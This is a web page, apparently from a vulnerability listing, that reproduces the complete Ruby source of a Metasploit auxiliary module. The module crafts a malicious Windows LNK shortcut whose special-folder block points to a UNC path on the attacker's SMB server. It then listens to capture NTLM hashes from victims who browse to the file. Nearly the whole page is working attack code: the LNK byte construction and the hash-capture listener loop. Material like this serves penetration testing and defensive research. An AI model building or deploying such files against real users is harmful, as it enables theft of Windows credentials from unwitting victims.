METASPLOIT

SpecialFolderDatablock – Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-SPECIALFOLDER_LEAK-

Description

This module creates a malicious Windows shortcut (LNK) file that specifies a special UNC path in SpecialFolderDatablock of Shell Link (.LNK) ...
Visit Original Source

Basic Information

ID MSF:AUXILIARY-FILEFORMAT-SPECIALFOLDER_LEAK-
Published Oct 1, 2025 at 18:56

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'faker'

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::Remote::SMB::Server::HashCapture

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SpecialFolderDatablock - Windows LNK File Special UNC Path NTLM Leak',
'Description' => %q{
This module creates a malicious Windows shortcut (LNK) file that
specifies a special UNC path in SpecialFolderDatablock of Shell Link (.LNK)
that can trigger an authentication attempt to a remote server. This can be used
to harvest NTLM authentication credentials.

When a victim browse to the location of the LNK file, it will attempt to
connect to the the specified UNC path, resulting in an SMB connection that
can be captured to harvest credentials.
},
'Author' => [ 'Nafiez' ],
'License' => MSF_LICENSE,
'References' => [
[
'URL', 'https://zeifan.my/Right-Click-LNK/',
'EDB', '42382',
]
],
'Platform' => 'win',
'Targets' => [ [ 'Windows Universal', {} ] ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'DisclosureDate' => '2025-05-10' # Disclosed to MSRC on 2025-05-10
)
)

register_options([
OptString.new('APPNAME', [ false, 'Name of the application to display', nil])
])
end

def generate_shell_link_header
header = ''
header << [0x4C].pack('L') # HeaderSize (4 bytes)
header << [0x00021401, 0x0000, 0x0000, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('LSSCCCCCCCC') # LinkCLSID (16 bytes)
header << [0x81].pack('L') # LinkFlags (4 bytes): HasLinkTargetIDList + IsUnicode
header << [0x00].pack('L') # FileAttributes (4 bytes)
header << [0x00].pack('Q') # CreationTime (8 bytes)
header << [0x00].pack('Q') # AccessTime (8 bytes)
header << [0x00].pack('Q') # WriteTime (8 bytes)
header << [0x00].pack('L') # FileSize (4 bytes)
header << [0x00].pack('L') # IconIndex (4 bytes)
header << [0x00].pack('L') # ShowCommand (4 bytes)
header << [0x00].pack('S') # HotKey (2 bytes)
header << [0x00].pack('S') # Reserved1 (2 bytes)
header << [0x00].pack('L') # Reserved2 (4 bytes)
header << [0x00].pack('L') # Reserved3 (4 bytes)

header
end

def generate_item_id(data)
[data.length + 2].pack('S') + data
end

def generate_lnk_special(path, name)
# Force encoding to ASCII-8BIT (binary) to avoid encoding issues
path = path.dup.force_encoding('ASCII-8BIT')
name = name.dup.force_encoding('ASCII-8BIT')

# Add null terminator
path += "\x00".force_encoding('ASCII-8BIT')
name += "\x00".force_encoding('ASCII-8BIT')

# Convert to UTF-16LE manually
path_utf16 = path.encode('UTF-16LE').force_encoding('ASCII-8BIT')
name_utf16 = name.encode('UTF-16LE').force_encoding('ASCII-8BIT')

# Remove BOM (first 2 bytes) if present
path_utf16 = path_utf16[2..] if path_utf16.start_with?("\xFF\xFE")
name_utf16 = name_utf16[2..] if name_utf16.start_with?("\xFF\xFE")

bin_data = ''.force_encoding('ASCII-8BIT')
bin_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00".force_encoding('ASCII-8BIT')
bin_data << [path.length].pack('S')
bin_data << [name.length].pack('S')
bin_data << path_utf16
bin_data << name_utf16
bin_data << "\x00\x00".force_encoding('ASCII-8BIT') # comment

bin_data
end

def generate_linktarget_idlist(path, name)
idlist = ''.force_encoding('ASCII-8BIT')

# Reference - https://www.tenforums.com/tutorials/3123-clsid-key-guid-shortcuts-list-windows-10-a.html

# First ItemID - My Computer / This PC
# {20D04FE0-3AEA-1069-A2D8-08002B30309D}
field_size_id1 = "\x1f\x50"
first_id = "\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT')
idlist << generate_item_id(field_size_id1 + first_id)

# Second ItemID - Control Panel (All Tasks)
# {ED7BA470-8E54-465E-825C-99712043E01C}
field_size_id2 = "\x2e\x80"
second_id = "\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT')
idlist << generate_item_id(field_size_id2 + second_id)

# Custom ItemID - Our UNC path
idlist << generate_item_id(generate_lnk_special(path, name))

# TerminalID
idlist << "\x00\x00".force_encoding('ASCII-8BIT')

# Full IDList with size
[idlist.length].pack('S') + idlist
end

def generate_extra_data
extra = ''.force_encoding('ASCII-8BIT')
extra << [0x10].pack('L') # BlockSize (4 bytes)
extra << [0xA0000005].pack('L') # SPECIAL_FOLDER_DATABLOCK_SIGNATURE (4 bytes)
extra << [0x24].pack('L') # SpecialFolderID (4 bytes) - Control Panel
extra << [0x28].pack('L') # Offset (4 bytes)
extra << [0x00].pack('L') # TERMINAL_BLOCK (4 bytes)

extra
end

def ms_shllink(path, name)
lnk_data = ''.force_encoding('ASCII-8BIT')
lnk_data << generate_shell_link_header
lnk_data << generate_linktarget_idlist(path, name)
lnk_data << generate_extra_data

lnk_data
end

def run
app_name = datastore['APPNAME']

app_name = "#{Faker::App.name}Application" if app_name.blank?

start_service
unc_share = datastore['SHARE']
unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?
unc_path = "\\\\#{datastore['SRVHOST']}\\#{unc_share}"

lnk_data = ms_shllink(unc_path, app_name)
file_create(lnk_data)
print_good("LNK file created: #{datastore['FILENAME']}")
print_status("Listening for hashes on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
stime = Time.now.to_f
timeout = datastore['ListenerTimeout'].to_i
loop do
break if timeout > 0 && (stime + timeout < Time.now.to_f)

Rex::ThreadSafe.sleep(1)
end
end

end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.